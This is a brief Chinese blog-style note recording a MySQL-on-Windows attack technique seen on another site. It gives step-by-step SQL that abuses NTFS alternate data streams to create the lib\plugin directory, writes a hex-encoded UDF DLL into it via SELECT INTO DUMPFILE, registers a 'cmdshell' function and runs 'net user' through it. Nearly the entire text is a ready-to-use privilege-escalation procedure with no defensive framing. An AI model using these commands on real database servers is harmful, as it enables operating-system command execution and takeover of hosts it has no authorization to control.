刚在http://www.rabbit8.cn/MYSQL/395.html,看到建立lib\plugin目录的方法.留个脚印


查询 select @@basedir (或者 select @@datadir)
得到MySQL目录 C:\MySql\
假如该目录不存在\lib\plugin目录,利用ADS创建
查询 select 'xxx' into dumpfile 'C:\\MySQL\\lib::$INDEX_ALLOCATION';
此时会报错
ERROR 3 (HY000): Error writing file 'C:\MySQL\lib::$INDEX_ALLOCATION' (Errcode: 22)
但是lib目录已经创建了
再查询
select 'xxx' into dumpfile 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';


此时目录创建成功,然后导入udf,随便选一个库

CREATE TABLE Temp_udf(udf BLOB);
INSERT into Temp_udf values (CONVERT($shellcode,CHAR)); //$shellcode请用UDF用hex加密后的代码
SELECT udf FROM Temp_udf INTO DUMPFILE 'C:\\MySQL\\lib\\plugin\\udf.dll';--


create function cmdshell returns string soname 'udf.dll';


select cmdshell('net user');